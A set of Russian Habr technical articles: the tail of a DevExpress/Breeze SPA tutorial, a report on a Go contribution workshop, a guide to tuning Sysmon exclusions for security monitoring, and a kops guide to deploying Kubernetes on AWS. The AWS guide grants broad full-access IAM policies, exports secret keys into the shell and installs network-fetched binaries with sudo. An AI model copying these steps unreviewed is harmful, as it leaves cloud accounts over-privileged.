MyApp.app = new DevExpress.framework.html.HtmlApplication({
namespace: MyApp,
defaultLayout: "navbar",
navigation: [
{
title: "Routes",
action: "#route",
icon: "home"
},
{
title: "About",
action: "#about",
icon: "info"
}
]
});
MyApp.app.router.register(":view/:id", { view: "route", id: 0 });
MyApp.app.navigate();
var serverAddress = "/odata/";
breeze.config.initializeAdapterInstances({ dataService: "OData" });
MyApp.manager = new breeze.EntityManager(serverAddress);
});
```
Создаем HTML приложение, в котором указываем layout и параметры навигации, которая состоит из двух пунктов: маршруты и about; а также инициализируем библиотеку breeze.
В файле **Index.cshtml** необходимо разместить dxView и специальную область с именем “content”, в котором выводится обычный список:
```
```
Для того, чтобы эти пару строк заработали необходимо, создать Viewmodel, поэтому в папке **Scripts/app** создадим файл **app.viewmodel.js**:
```
MyApp.route = function (params) {
var viewModel = {
dataSource: {
load: function (loadOptions) {
if (loadOptions.refresh) {
var deferred = new $.Deferred();
var query = breeze.EntityQuery.from("Routes").orderBy("RouteID");
MyApp.manager.executeQuery(query, function (result) {
deferred.resolve(result.results);
});
return deferred;
}
}
}
}
return viewModel;
};
```
Хочу обратить внимание что имя Viewmodel совпадает с именем dxView, и содержит только объект dataSource, в которой мы определяем один метод load для загрузки данных. Параметр refresh определяет должны ли данные виджета обновлены полностью. В методе строим запрос, сортируя по полю RouteID и выполняем его.
Добавим еще одну View – **About**:
```
This is my first SPA application.
```
Результат для IPhone:
Вы, наверно, обратили внимание, что на элемент списка повешено событие `dxAction: '#customers/{RouteID}'`, где, согласно заданной навигации, `'#customers` – это вызываемое View, а `RouteID` – параметр, передаваемый в это View:
```
```
В связи с тем, что покупателей может быть много, добавил возможность поиска: добавил **dxCommand** — кнопка поиска, которая вызывает функцию **find**, и поле ввода перед списком.
Viewmodel:
```
MyApp.customers = function (params) {
var skip = 0;
var PAGE_SIZE = 10;
var viewModel = {
routeId: params.id,
searchString: ko.observable(''),
showSearch: ko.observable(false),
find: function () {
viewModel.showSearch(!viewModel.showSearch());
viewModel.searchString('');
},
dataSource: {
changed: new $.Callbacks(),
load: function (loadOptions) {
if (loadOptions.refresh) {
skip = 0;
}
var deferred = new $.Deferred();
var query = breeze.EntityQuery.from("Customers")
.where("CustomerName", "substringof", viewModel.searchString())
.where("RouteID", "eq", viewModel.routeId)
.skip(skip)
.take(PAGE_SIZE)
.orderBy("CustomerID");
MyApp.manager.executeQuery(query, function (result) {
skip += PAGE_SIZE;
console.log(result);
var mapped = $.map(result.results, function (data) {
return {
name: data.CustomerName,
id: data.CustomerID
}
});
deferred.resolve(mapped);
});
return deferred;
}
}
};
ko.computed(function () {
return viewModel.searchString();
}).extend({
throttle: 500
}).subscribe(function () {
viewModel.dataSource.changed.fire();
});
return viewModel;
};
```
Переменные **skip** и **PAGE\_SIZE** необходимы для загрузки части данных (в данном случае 10 записей), а дозагрузка будет идти по мере необходимости.
Переменные **searchString** и **showSearch** для поиска, при чем поиск срабатывает с пол секундной задержкой после ввода символа.
Результат:
Ну и напоследок, выведем информацию о выбранном покупателе:
View:
```
Id:
Name:
Address:
Comment:
```
ViewModel:
```
MyApp['customer-details'] = function (params) {
var viewModel = {
id: parseInt(params.id),
name: ko.observable(''),
address: ko.observable(''),
comment:ko.observable('')
};
var data = MyApp.manager.getEntityByKey("Customer", viewModel.id);
console.log(data);
viewModel.name(data.CustomerName());
viewModel.address(data.Address());
viewModel.comment(data.Comment());
return viewModel;
};
```
*Примечание: скриншоты сделаны с эмулятора Ripple Emulator (Beta).*
##### Резюме.
Мы получили довольно просто полноценное SPA приложение для мобильных устройств с навигацией и загрузкой данных. На данный момент сложно судить о качестве/скорости/ и т.д. приложения, поэтому в следующей статье я немного расширю функционал и выложу на Azure, что бы каждый желающий смог попробовать. | https://habr.com/ru/post/185316/ | null | ru | null |
# Go contribution workshop в России
Давно планировали отправить патч в Go, но постоянно откладывали? Сталкивались с трудностями, не знали, с чего начать? В данной статье я опишу как мы проводили Go contribution workshop в Казани, о его результатах, а также об уроках, которые извлекли организаторы.
Спойлер: планируется повторить это мероприятие когда Go перейдёт в фазу активной разработки (выйдет из состояния code freeze). Подробности смотри под катом.
Что такое Go contribution workshop?
===================================
По всему миру время от времени проходят разного масштаба сходки Go программистов, целью которых является изучение внутренностей Go и отправка в него своих изменений. Началось всё с [GopherCon](https://blog.golang.org/contributor-workshop).
Кто-то приходит для того, чтобы помочь другим разобраться с рабочим процессом, подобрать задачу и решить её, затем пройти ревью и, в идеале, дойти до вливания патча в [upstream](https://github.com/golang/go). Другие приходят в качестве "First Time Contributor".
Если вам интересно что-то из перечисленного ниже, вам могло бы быть интересно поучаствовать:
* Погрузиться в низкоуровневые детали Go тулчейна (компилятора, линкера, ассемблера, ...)
* Ускорить какую-нибудь функцию из стандартной библиотеки или рантайма
* Добавить недостающих примеров или тестов для любого из пакетов
* Провести рефакторинг какого-нибудь очень страшного кода
* Доработать поддержку более редкой архитектуры или ОС (с вас железо и/или ОС)
* Пообщаться с теми, кто уже продолжительное время контрибьютит в Go
Список не полон, каждый может найти в этом что-то своё.
Workshop в России
=================
В какой-то момент я решил, что хочу приложить руку к организации подобного события. Больше всего хотелось оказаться в кругу людей со схожими интересами.
Предварительная программа проведения получилась примерно на 6-10 часов (диапазон лучшего и худшего случая). Наиболее подходящим форматом выглядел хакатон, но найти спонсоров на тот момент не удалось. Зато была возможность вести факультативные занятия для [Научно-практической платформы ИВМиИТ КФУ](https://vk.com/npp_ivmiit), раз в неделю по полтора часа. Очевидный недостаток: из-за больших перерывов между участием, приходилось бы затрачивать некоторое дополнительное время. И никакой пиццы. *Sigh*
Довольно неожиданно, я оказался гостем в [подкасте GolangShow (ep. 119)](http://golangshow.com/episode/2018/02-27-119b/), где проговорился про идею провести нечто подобное для студентов. Немногим позже [Елена Граховац](https://habr.com/users/len/) создала канал `#kfu-go-2018` в [слаке русскоязычного сообщества Go](https://golang-ru.slack.com/). Там могли общаться не только студенты КФУ, но и все те, кому было интересно поучаствовать удалённо.
После этого в университете были утверждены детали проведения, стали известны конкретные даты. Вместо хакатона получили "курс по языку программирования Go". Это не сильно меняло содержание, цель оставалась всё та же и она была явно описана в [анонсе](https://vk.com/npp_ivmiit?w=wall-102263888_269).
Далее последовало сканирование [трекера](https://github.com/golang/go/issues) в поиске таких задач, которые могли бы быть выполнены в рамках мероприятия хотя бы частично (ещё лучше — полностью).
**Lesson №1**На деле получилось так, что в список задач попадали те, что были интересы или понятны лично мне. Это осознавалось и во время составления списка, но влиять на это сложно.
Возможно было бы лучше, если бы этот список составляли несколько людей с различающимся профилем и интересами.
Любой участник мог пойти на трекер Go и выбрать себе что угодно, но для задач из списка были готовы разъяснения, а для некоторых из них частичное решение.
Большая часть контента, которая была выработана во время курса доступна в репозитории [kfu-go-2018](https://github.com/Quasilyte/kfu-go-2018). Там же можно найти [tasks.org](https://github.com/Quasilyte/kfu-go-2018/blob/master/_docs/tasks/tasks.org).
Первая встреча
==============
Пришли студенты, которые ранее не писали на Go. Большинство из них даже не слышали о таком языке программирования.
Половину первого занятия мы потратили на сборку Go из исходников. На разных компьютерах возникали разные, в том числе неожиданные проблемы. Разные ОС, версии системных компиляторов (у кого-то не собирался Go 1.4), и прочее. Банально не работал `./make.bash` (`make.bat` для Windows) с разными ошибками.
Когда у большинства всё-таки появился рабочий Go, первым нашим Hello World было выведение в компиляторе (`go tool compile`) канонического сообщения при передаче ему нового флага.
> Прошло 90 минут: поговорили о Go, сравнили его с C++, собрали тулчейн, разобрали процесс бутстрапинга и собрали обновлённый компилятор.
**Lesson №2**Отдельно стоит упомянуть, что мне помогал [Делюс Фархулин](https://github.com/bontequero). Эмпирически выявили, что более четырёх человек в одиночку вести очень трудно. Усложняется ситуация когда никто из участников, кроме менторов, не знает Go. Приходится выполнять множество дополнительных шагов. Впрочем, если бы нас было четверо, было бы гораздо проще (студентов было 15).
Первые патчи в проект Go
========================
Для второго занятия стояла цель перейти непосредственно к контрибьютингу:
* Договорились с [Daniel Martí](https://github.com/mvdan) что он будет доступен в обговорённое время и сможет провести ревью (поставить +2 если патч тривиальный и корректный).
* [Илья Токарь](https://github.com/TocarIP) подсказал [scratch](https://github.com/golang/scratch) репозиторий, куда гораздо проще отправлять первый CL (change list). Позволяет опробовать [gerrit](https://go-review.googlesource.com/) в работе без рисков что-то сломать.
* Подготовил [стикеры](https://github.com/Quasilyte/kfu-go-2018/tree/master/_stickers) для вручения тем, кто успешно вливал патчи в Go.
Нам повезло: scratch репозиторий был сломан. Кто-то отправил некорректный код в репозиторий и из-за этого trybots (CI тесты) всегда проваливались. Одной из задач, которую я подготовил, было исправить то, что было причиной ошибки сборки.
К концу занятия было выслано 6 патчей:
[CL105415](https://golang.org/cl/105415), [CL105395](https://golang.org/cl/105395), [CL105356](https://golang.org/cl/105356), [CL105416](https://golang.org/cl/105416), [CL105355](https://golang.org/cl/105355), [CL105375](https://golang.org/cl/105375).
Стикеры получил каждый.
> Прошло 180 минут: разобрали процесс разработки Go, всем оформили [Google CLA](https://cla.developers.google.com/about/google-individual), настроили gerrit, выслали "hello world" патчи, починили сборку scratch репозитория, а один из участников успел выслать патч в golang/go (merge был в тот же день).
**Lesson №3**Для хороших стикеров "в срок" нужно обращаться к проверенным поставщикам. Экономия на ближайших точках, где могут распечатать стикеры без нарезки — не очень хорошая затея. А ещё нельзя сочетать лого суслика с чем-то ещё: gopher с табличкой Intel в руках нарушает все мыслимые законы стикеров.
Остальные занятия проходили по более свободной схеме. Мы приходили и работали над своими задачами, обменивались опытом и помогали друг другу. Почти каждую такую встречу высылали несколько патчей.
Затем наступил code freeze и курс подошёл к логическому концу. К этому моменту было влито [17 патчей](https://github.com/Quasilyte/kfu-go-2018#%D0%A2%D1%80%D0%BE%D1%84%D0%B5%D0%B8). Мы по-прежнему собираемся по субботам и работаем над разными Go утилитами...
Трудности "второго шага"
========================
Проще всего было сделать первый шаг. Для тех, кто неуверенно работает с git'ом репозиторий scratch — отличное решение.
Не слишком сложно было найти задачи минимального объёма и не требующие большого контекста. Здесь помогали разнообразные линтеры. Запускаешь "`gometalinter --enable-all`" на пакете из `GOROOT` и выбираешь, что поправить.
Сложнее было с задачами на уровень выше. Мне было сложно подсказать такую, а им было сложно такую выбрать. При этом было понимание того, что исправление предупреждений линтеров мы уже переросли (т.е. пропал challenge, для продуктивного обучения нужно было искать новые виды задач).
В теории, неплохой задачей второго уровня является улучшения тестов в Go: увеличение покрытия, добавление или доработка бенчмарков, исправление не вполне корретных или отключенных тестов, проверка регрессионных тестов и прочее. Это требует некоторого погружения в тестируемый пакет, но область изменений будет минимальна и достаточно легко проверить результат. Но не всем по вкусу работать с тестами.
Примеры из того, за что успели взяться в качестве задач 2-го уровня:
1. [encoding/json: add the full path to the field in UnmarshalTypeError](https://github.com/golang/go/issues/22369) (`#22369`)
2. [time: optimize time.Time.Sub and time.Since](https://github.com/golang/go/issues/17858) (`#17858`)
3. [cmd/compile: avoid slow versions of LEA instructions on x86](https://github.com/golang/go/issues/21735) (`#21735`)
Начинали их ближе к code freeze, поэтому не успели довести до конца: оставалось 2 субботы по 90 минут, а этого недостаточно. Тем более каждый работал над своей задачей. Возможно было бы проще в случае разбиения на команды хотя бы по два человека, например, в случае [issue21735](https://github.com/golang/go/issues/21735), можно параллельно проверять разные гипотезы и изучать разные части компилятора параллельно, потом делиться знаниями.
**Lesson №4**Больше всего стоит уделять внимания именно этой части, неизбежному углублению и вопросам, которые следуют за этим. Сомневаюсь, что есть люди, которые знают все части Go настолько, чтобы суметь поддержать при любом выборе, поэтому здесь всё опять сходится к недостатку разных экспертов.
Workshop v2
===========
Часть проблем, описанных выше, решилась бы альтернативным форматом, когда более сложная задача не требовала бы её решения на протяжении трёх недель. Следующий workshop стоит проводить в виде непрерывного мероприятия, хотя бы на 4-5 часов, а в идеале с перерывом и на подольше.
Обычно формат хакатона также подразумевает некоторую подготовку участников перед началом, а именно выбор задачи и предварительного описания путей её решения, формирование команд. Это тоже может помочь увеличить количество успешных контрибуций.
Нужно больше наставников, которые смогут в режиме реального времени помогать участникам выбирать и решать задачи.
Выбор города зависит от количества участников и их георгафической распределённости. Мне ближе всего четыре варианта: Москва, Иннополис, Казань, Нижний Новгород.
В заключение
============
Не обязательно приходить на подобные хакатоны, чтобы начать контрибьютить в Go, мотивирующим примером может быть статья Марко [Как новичок в Go контрибьютил](https://habr.com/company/badoo/blog/336620/). Однако в компании таких же заинтересованных людей проще преодолеть первоначальный дискомфорт и растерянность, пройти путь от начала и до конца.
Если вы неравнодушны к этой теме, следите за обновлениями, заглядывайте в на [golang-ru.slack](https://golang-ru.slack.com/). Следующий период активной разработки Go начинается с [августа 2018](https://github.com/golang/go/wiki/Go-Release-Cycle): не слишком далеко, чтобы об этом забыть, и не слишком близко, чтобы не успеть хорошенько подготовиться.
### Бонусные материалы для начинающих контрибьюторов
* Выступление [Как контрибьютить в Go](https://www.youtube.com/watch?v=0a8u74Ul-hM) Станислава Афанасьева ([goandfix.me](https://www.goandfix.me))
* Слайды [How to Contribute to Go](https://docs.google.com/presentation/d/1ap2fycBSgoo-jCswhK9lqgCIFroE1pYpsXC1ffYBCq4/edit#slide=id.p)
* Слайды [Golang compiler internals for ARM64](https://docs.google.com/viewer?a=v&pid=forums&srcid=MDQ5NTA0MTA1MjI2MzE3Njg4OTIBMTA5Mjc5NTYxMzc5Mjc0OTQ5MDQBOWt3NUlvOFREUUFKATAuMQEBdjI&authuser=0)
* Относительно недавно стали появляться новые readme, ориентированные на новых контрибьюторов: [cmd/compile](https://github.com/golang/go/blob/master/src/cmd/compile/README.md), [cmd/compile/internal/ssa](https://github.com/golang/go/blob/master/src/cmd/compile/internal/ssa/README.md).
### Ближайшие события
* 20 июня: [The London Go Contributor Workshop](https://www.meetup.com/Go-London-User-Group/events/251046966/)
* 1-3 августа: [GopherCon UK](https://www.gophercon.co.uk/), на котором тоже будет Contributor Workshop | https://habr.com/ru/post/413815/ | null | ru | null |
# Профилируем события Sysmon при внедрении в инфраструктуру
Если Вы опытный инженер SOC и настраивали уже несколько раз мониторинг инфраструктуры с нуля, то врядли найдете для себя что-то новенькое. Всех остальных приветствую в своей первой статье).
Одним прекрасным утром прилетела задача внедрить [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) ~~вчера~~ срочно. Естественно, первым, что я сделал зашел на github и нашел [сборник конфигурационных файлов](https://github.com/MHaggis/sysmon-dfir) для sysmon. Выбрал тот, который понравился (имел больше отзывов и звезд).
После внедрения найденного конфига (естественно без предварительного анализа) обнаружил, что есть, то чего **не должно быть** и нет того, что **ожидал увидеть**.
После обнаружения проблемы стал изучать примененный конфиг и обнаружил, что он расчитан на ~~импортозамещение~~ зарубежную инфраструктуру (*естественно*...). В итоге было принято решение разработать свой конфигурационный файл, требования к которому были следующие:
1. Как можно меньше **флуда** без потери качества собираемых событий
2. **Минимальная** нагрузка на конечные устройства
3. Мониторим все, что не относится к нормальному поведению системы (создаем в основном исключения)
Что за зверь Ваш sysmon
-----------------------
**Sysmon** утилита разработанная Microsoft, которая дополняет, а в некоторых случаях помагает заменить расширенный аудит Windows, в части создания процессов, сетевой активности, доступа к файлам и ([др](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#overview-of-sysmon-capabilities)). События генерируемые Sysmon можно посмотреть с помощью **Event viewer** по пути :
`Applications and Services Logs/Microsoft/Windows/Sysmon/Operational`
На момент написания статьи версия Sysmon 13.33, которая позволяет регистрировать [26 типов событий](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#events) (+1 связанное с ошибками работы Sysmon).
### Обзор синтаксиса
Конфигурационный файл sysmon представлен в формате [xml](https://ru.wikipedia.org/wiki/XML). Рассмотрим несколько важных [параметров](https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysmon#configuration-entries), которые не относятся к фильтрации событий, но важны при использовании Sysmon.
* **ArchiveDirectory**. Определяет директорию в которую будут архивироваться удаляемые файлы и изменения буфера обмена, по умолчанию в директорию **Sysmon** логического диска, на котором установлена ОС.
* **CheckRevocation**. проверяет отозван ли сертификат, которым подписан исполняемый файл, по умолчанию: True.
* **DnsLookup**. Управляет обратным поиском DNS. значение по умолчанию: True
* **DriverName**. Использует указанное имя для драйвера Sysmon, по умолчанию: *SysmonDrv*
* **HashAlgorithms**. Хэш-алгоритмы, применяемые для определения хеш-суммы файлов, поддерживаемые алгоритмы: MD5, SHA1, SHA256, IMPHASH и \* (все), по умолчанию: *None*
Вышеуказанные параметры определяются вначале конфига перед заголовком *EventFiltering* , если какой-либо параметр не определен, то используется значение по умолчанию.
```
md5,sha256,IMPHASH
True
True
CPUDrv
```
Все типы событий имеют [тег](https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysmon#event-filtering-entries), который используется для их обозначения в конфигурационном файле, например:
```
OneDrive.exe
```
Фильтровать события можно по всем полям которые есть в схеме того или иного события, например:
```
ping.exe
```
Правило сработает, если в поле события **Image** будет содержатся *ping.exe.*
Ключевое слово **condition** принимает одно из [значений](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#event-filtering-entries), по которому будет регистрироваться событие. Остальные популярные конструкции, используемые при составлении конфигурационного файла будут рассмотрены по тексту ниже.
Процесс анализа и профилирования событий
----------------------------------------
Расскажу о том как я организовал процесс профилирования у себя, и с какими проблемами столкнулся при внедрении и разработки своего конфигурационного файла.
### Использование конфигов с GitHub
В поисках конфигов на гитхаб наткнулся на [репозиторий](https://github.com/MHaggis/sysmon-dfir) автор которого собрал в одном месте статьи свзанные с работой sysmon и скрасил все это небольшим набором конфигов, почти на любой вкус и цвет. Попробую описать в общих чертах плюсы и минусы, использования готовых конфигурационных файлов.
#### Минусы
* Перед внедрением необходимо изучить конфигурационный файл, в большинстве случае это больше **1000** строк, и займет непонятно сколько времени
* Злоумышленник может изучить общедоступные конфиги при планировании атаки, чтобы использовать пути и имена файлов, которые содержатся в исключениях
#### Плюсы
* Если у Вас мало времени для внедрения Sysmon, использование готового конфига Вас спасет
* Правила уже смаплены на [матрицу MITRE ATT&CK](https://attack.mitre.org/matrices/enterprise/), для многих это важно
* Большое комьюнити, которое делится своими наработками (никто не запрещает использовать их в своем конфиге)
### Профилирование
После принятия решения о разработке собственного конфигурационного файла, необходимо было решить следующие вопросы:
* Что мониторить?
* Что исключать?
После некоторого времени раздумий и уничтожения кока-колы было решено: **мониторим все, что не относится к работе системы и средств защиты**. Был принят план внедрения, содержащий следующие основные положения:
1. На время создания основного конфига будет установлен наиболее подошедший под наши критерии общедоступный конфиг.
2. Сформирована группа конечных устройств, в которую входят машины пользователей, администраторов, безопасников и прочих сословий, чтобы при создании конфига не пропустить ничего важного.
3. Параллельно siem-системе устанавливаем Elasticsearch+Kibana, для сбора событий с профилируемых машин.
4. Устанавливаем временные интервалы для анализа собираемых событий. Для этого мы сделали дашборды, которые показывают:
* Машины по количеству собранных событий
* Популярные процессы
* Количество событий по EventID
5. Определить сколько времени Вы готовы выделить на профилирование, собираемых событий т.к впервое время их будет слишком много (порядка 1кк событий в сутки с машины администратора) и Ваш мониторинг будет выглядеть примерно так)
#### Собираем все что не относится к нормальному повидению системы
Следующий вопрос который нужно решить: **Как смириться с тем, что определенные пути файлов или их имена попадут в исключения**, ведь это верный вектор для [defense evasion](https://attack.mitre.org/tactics/TA0005/). Для себя я принял, что буду создавать правила как можно точно описывающее событие, которое добавляется в исключение.
### Сила визуализации
Для визуализации собираемых событий я создал несколько дашбордов, с помощью которых наглядно видно, что мы собираем:
1. Количество событий по EventID
Количество событий по EventID2. Количество событий по источкам событий (конечные машины)
Количество событий от источников3. Количество событий по процессам
Количество событий по процессам4. Heatmap количество конечных устройств/EventID
Количество событий по конечным устройствам5. Heatmap количество конечных устройств/имя процесса
С помощью вышеуказанных дашбордов легко определить с какого EventID, процесса или конечного устройства начать профилирование, событий которые создают много шума.
### Обзор конфига для профилирования
Для исходной точки создания конфига был выбран [hunt-naked.xml](https://github.com/MHaggis/sysmon-dfir/blob/master/config/hunt-naked.xml). При его использовании будьте готовы, что первое время будет очень много флуда, настолько много, что в них можно будет утонуть. Но это не беда т.к. терпение и визуализация Kibana поможет нам впервые несколько часов уничтожить флудящие события.
Чтобы добавить исключения в конфиг необходимо использовать конструкцию:
```
explorer.exe
```
Или для создания связанной группы правил:
```
eventvwr.exe
c:\windows\system32\mmc.exe
```
Остановимся на событиях, которые могут навредить конечному устройству. Если Вам не нужно записывать изменения буфера обмена и удаляемых файлов, отключаем EventID 23 и EventID 24, т.к. нагрузка на жесткий диск и уменьшение свободного места не заставит Вас долго ждать.
* **EventID 23:** *FileDelete (File Delete archived)*. Файл был удален, и архиврован в директорию sysmon (по умолчанию C:\Sysmon). Если Вам не нужно архивирование удаляемых файлов, то можно использовать EventID 26. Например:
```
\Downloads\
exe;xlsx;xlsb;docx;docm;docxb;xlsm
```
* **EventID24:** *ClipboardChange (New content in the clipboard)* Этот тип события регистрируется когда изменяется содержимое буфера обмена.
Для отключения какого-либо правила используется конструкция вида (где FileDelete заменяется на необходимую категорию правил):
Самыми шумными категориями оказались доступ к процессу, сетевые соединения и работа с реестром (каждый хочет там что-то изменить или прочитать) с которых я бы начал процесс профилирования.
Выводы
------
Потратив две недели и несколько часов в день на анализ срабатываний у Вас получится конфигурационный файл, исключающий нормальное поведение системы и включающий остальные события. Если у Вас возник вопрос: Можно ли на этом закончить? Однозначный ответ нет, необходимо продолжать работу по анализу собираемых событий, а также если у Вас есть pentest-группа привлечь их, к поиску того, что Вы пропустили или наоборот убрали лишнего. Не судите строго первый опыт написания подобного контента) | https://habr.com/ru/post/664916/ | null | ru | null |
# Деплой Elasticsearch на AWS с помощью Kubernetes за 10 шагов
[Kubernetes](https://kubernetes.io) aka `k8s` — это система с открытым исходным кодом для автоматизации развертывания, масштабирования и управления контейнерными приложениями. В этой статье я расскажу как настроить кластер Kubernetes и развернуть на нем кластер Elasticsearch в AWS. Эти настройки также работают на [GCE](https://cloud.google.com/kubernetes-engine/docs/quickstart) и [Azure](https://docs.microsoft.com/en-us/azure/aks/kubernetes-walkthrough).
### Конфигурирование Kubernetes на AWS
Для начала получите доступ с правами администратора к следующим AWS сервисам: **S3, EC2, Route53, IAM** и **VPC**.
**1. Установка:** я покажу установку CLI для Linux. Если у вас другая операционная система, переходите по ссылкам ниже, чтобы получить инструкции по установке для вашей ОС.
Во-первых, ставим [AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/installing.html) для доступа к AWS через CLI. Если у вас уже есть Python и pip, запустите команду:
```
pip install awscli --upgrade --user
```
Потом используем [Kops](https://github.com/kubernetes/kops) — инструмент командной строки, который ведет нас через настройку K8S-кластера продакшн-уровня.
Устанавливаем бинарники **Kops** прямо из github.
```
wget -O kops https://github.com/kubernetes/kops/releases/download/$(curl -s https://api.github.com/repos/kubernetes/kops/releases/latest | grep tag_name | cut -d '"' -f 4)/kops-linux-amd64
chmod +x ./kops
sudo mv ./kops /usr/local/bin/
```
Наконец, используем [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) — CLI для для управления кластером K8S (если вы использовали docker, это похоже на **docker** CLI). Последний релиз устанавливается командой:
```
wget -O kubectl https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin/kubectl
```
**Примечание:** можно запустить кластер Kubernetes и выполнить инструкции этой статьи на домашней машине с [minikube](https://kubernetes.io/docs/setup/minikube/).
**2.Создание пользователей IAM:** для создания кластеров в AWS мы создадим отдельного пользователя IAM для `kops`. Для `kops` нужна учетная запись API. Создайте пользователя и настройте учетную запись через пользовательский интерфейс [AWS console](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html#id_users_create_console). Пользователю `kops` понадобятся следующие разрешение IAM:
* AmazonEC2FullAccess
* AmazonRoute53FullAccess
* AmazonS3FullAccess
* IAMFullAccess
* AmazonVPCFullAccess
Как вариант, можно сделать то же самое и из CLI, применив следующие команды:
```
aws iam create-group --group-name kops
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonEC2FullAccess --group-name kops
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonRoute53FullAccess --group-name kops
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess --group-name kops
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/IAMFullAccess --group-name kops
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonVPCFullAccess --group-name kops
aws iam create-user --user-name kops
aws iam add-user-to-group --user-name kops --group-name kops
aws iam create-access-key --user-name kops
```
Обратите внимание на ключи `SecretAccessKey` и `AccessKeyID` в `kops`.
Настроим AWS CLI для использования учетной записи с помощью `aws configure`.
Убедитесь, что созданный пользователь находится в списке `aws iam list-users`.
Экспортируем учетную запись AWS в качестве следующих переменных среды, чтобы CLI `kops` мог их использовать.
```
export AWS_ACCESS_KEY_ID=$(aws configure get aws_access_key_id)
export AWS_SECRET_ACCESS_KEY=$(aws configure get aws_secret_access_key)
```
> *Если вы используете Kops 1.6.2 или новее, настраивать DNS не обязательно. Можно создать госсип-кластер. Единственное требование: название кластера должно заканчиваться на `.k8s.local`.*
### Настройка DNS
Если вы уже разместили свой домен через AWS и планируете использовать его, ничего не нужно делать. Другой вариант: вы хотите использовать поддомен вашего домена, создайте вторую зону публичного хостинга для этого поддомена. В этой инструкции мы будем работать с зоной приватного хостинга. Установите зону под любым именем. Используйте это имя для создания кластеров Kubernetes. Подробности о настройке DNS [читайте здесь](https://github.com/kubernetes/kops/blob/master/docs/aws.md#configure-dns).
**3. Создание S3 bucket:** чтобы сохранить состояние и вид нашего K8S кластера, нужно создать отдельный S3 bucket для `kops`. Этот bucket станет источником достоверных данных для конфигурационного кластера.
```
aws s3api create-bucket \
--bucket \
--region us-east-1
```
**Примечание:** если вы вводите в эксплуатацию свой bucket в области отличной от `us-east-1`, в дополнение настройке `- region` переключитесь на нужную область и добавьте `LocationConstraint` к этой же области. Ниже показана команда создания bucket в регионе `us-west-1`.
```
aws s3api create-bucket \
--bucket \
--region us-west-1 \
--create-bucket-configuration LocationConstraint=us-west-1
```
Чтобы настроить хранение версий S3 bucket для восстановления, используйте следующую команду:
```
aws s3api put-bucket-versioning \
--bucket \
--versioning-configuration Status=Enabled
```
**4. Создание первого кластера Kubernetes:** Итак, вы готовы создать свой первый кластер! Сначала настроим переменные среды, чтобы упростить процесс. Если вы пропустили конфигурацию DNS (после шага 2), добавьте `.k8s.local` к значению `NAME`.
```
export NAME=myfirstcluster.example.com
export KOPS_STATE_STORE=s3://your-bucket-name
```
Не забывайте следить, какие региональные зоны вам доступны. В этом примере мы будем разворачивать кластер в регионе **us-east-2**.
```
aws ec2 describe-availability-zones --region us-east-2
```
Если используется зона публичного хостинга, создайте кластер с помощью следующей команды:
```
kops create cluster \
--zones us-east-2c \
--node-count 3 \
${NAME}
```
Если вы используете зону приватного хостинга, выполните:
```
kops create cluster \
--zones us-east-2c \
--node-count 3 \
--dns private ${NAME}
```
Эта команда предоставит вам журнал настройки кластера K8S. Для запуска кластеру нужно время, так как он создает новые машины EC2 для мастер-нод миньонов.
```
[ec2-user@ip-172-31-35-145 test]$ kops create cluster \
> --dns private \
> --zones us-east-2c \
> --node-count 3 \
> ${NAME} --yes
I0306 09:45:29.636834 20628 create_cluster.go:439] Inferred --cloud=aws from zone "us-east-2c"
I0306 09:45:29.637030 20628 create_cluster.go:971] Using SSH public key: /home/ec2-user/.ssh/id_rsa.pub
I0306 09:45:29.850021 20628 subnets.go:184] Assigned CIDR 172.20.32.0/19 to subnet us-east-2c
I0306 09:45:31.118837 20628 dns.go:92] Private DNS: skipping DNS validation
I0306 09:45:46.986963 20628 executor.go:91] Tasks: 73 done / 73 total; 0 can run
I0306 09:45:46.987101 20628 dns.go:153] Pre-creating DNS records
I0306 09:45:47.668392 20628 update_cluster.go:248] Exporting kubecfg for cluster
kops has set your kubectl context to k8s.appbase
Cluster is starting. It should be ready in a few minutes.
```
Вуаля! Кластер K8s уже должен работать.
**5. Проверка кластера:** все экземпляры, созданные `kops`, находятся в [ASG (Auto Scaling Groups)](https://docs.aws.amazon.com/autoscaling/ec2/userguide/AutoScalingGroup.html). На случай сбоя ведется проверка и автоматическая перестройка экземпляров ASG.
Чтобы изменить конфигурацию кластера, выполните следующую команду:
```
kops edit cluster ${NAME}
```
При каждом изменении конфигурации кластера потребуется создать кластер, выполнив следующую команду:
```
kops update cluster ${NAME} --yes
```
Вы увидите что-то подобное.
```
[ec2-user@ip-172-31-35-145 examples]$ kops update cluster --yes
Using cluster from kubectl context: k8s.appbase
I0216 05:09:06.074467 2158 dns.go:92] Private DNS: skipping DNS validation
I0216 05:09:07.699380 2158 executor.go:91] Tasks: 73 done / 73 total; 0 can run
I0216 05:09:07.699486 2158 dns.go:153] Pre-creating DNS records
I0216 05:09:07.961703 2158 update_cluster.go:248] Exporting kubecfg for cluster
kops has set your kubectl context to k8s.appbase
Cluster changes have been applied to the cloud.
```
Проверим кластер.
```
kops validate cluster
```
Убедимся, что кластер запущен и готов.
```
Using cluster from kubectl context: k8s.appbase
Validating cluster k8s.appbase
INSTANCE GROUPS
NAME ROLE MACHINETYPE MIN MAX SUBNETS
master-us-east-2c Master t2.large 1 1 us-east-2c
nodes Node t2.medium 3 3 us-east-2c
NODE STATUS
NAME ROLE READY
ip-172-20-44-33.us-east-2.compute.internal master True
ip-172-20-52-48.us-east-2.compute.internal node True
ip-172-20-62-30.us-east-2.compute.internal node True
ip-172-20-64-53.us-east-2.compute.internal node True
Your cluster k8s.appbase is ready
```
**Проверьте свой новый k8s!**
